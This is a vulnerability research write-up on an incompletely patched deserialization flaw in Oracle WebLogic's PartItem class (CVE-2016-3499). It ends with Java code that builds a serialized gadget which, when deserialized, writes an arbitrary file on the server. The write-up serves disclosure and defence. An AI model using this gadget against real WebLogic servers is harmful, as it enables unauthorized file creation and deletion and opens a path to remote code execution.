[R1] Oracle WebLogic Server Web Container Subcomponent Reflected PartItem File Manipulation Remote Code Execution

On July 21 2016, ZDI and Oracle did a coordinated release of CVE-2016-3499 / ZDI-16-444. ZDI’s advisory indicates that the "PartItem class in WebLogic FileUpload allows remote attackers to write arbitrary files via NULL byte ... when used in conjunction with a specific version of Oracle Java. It also allows the attacker to copy any file into a different location." For those familiar with the recent slue of Java deserialization attacks, this description sounds very similar to Apache Commons FileUpload’s DiskFileItem attacks CVE-2013-2186 (NULL byte attack) and CVE-2016-1000031 (creating, copying, and deleting files).

A quick analysis of WebLogic 12.2.1.1.’s PartItem (found in WebLogic’s com.oracle.weblogic.servlet.jar) revealed that is was obviously based on the Apache's DiskFileItem code. They are both loose wrappers around a DeferredFileOutputStream and the readObject / writeObject functions are identical. What is most interesting though, is that Oracle only partially fixed CVE-2016-3499. Oracle added a check to the readObject function to look for a NULL byte in the repository string (this code was copy and pasted from DiskFileItem in FileUpload 1.3.2). Incidentally, the NULL byte File attack has been "fixed" since Java 7 update 40 which was released in September of 2013. Any occurrence of a NULL byte in a File() call causes an exception.

However, Oracle did not fix the ability for a remote unauthenticated attacker to create and delete files using serialized PartItem. This attack is fairly well known having both been published by Tenable and Ysoserial. We verified this testing against WebLogic 12.2.1.1 with Java 8 update 102 installed.

Serializing a PartItem

It might not be obvious at first that PartItem is serializable at all. While PartItem is declared as "public class PartItem implements Serializable, Part" it contains a non-serializable class member called Multipart. If we simply try to serialize PartItem after constructing the Object then we will get a NotSerializeableException which may cause some researchers to give up. However, we can just use reflection to set Multipart to NULL right before we serialize the object. Here is the code used to create a serialized PartItem that, upon deserialization, will write a file to C:\Users\Public\ with the contents "Save the lobsters!":

Multipart mp = new Multipart(request, "do", 80, 80, 999999);
PartItem test = new PartItem(mp, null, "not", "eat", false, "lobsters");
Reflections.setFieldValue(test, "repository", new File("C:\\Users\\Public\\"));
Reflections.setFieldValue(test, "sizeThreshold", 1024);
Reflections.setFieldValue(test, "cachedContent" , new String("Save the lobsters!").getBytes());

test.getOutputStream();
Reflections.setFieldValue(test, "sizeThreshold", 0);
Reflections.setFieldValue(test, "multipart", null);

FileOutputStream fos = new FileOutputStream("/tmp/t.tmp");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(test);
oos.close();
fos.close();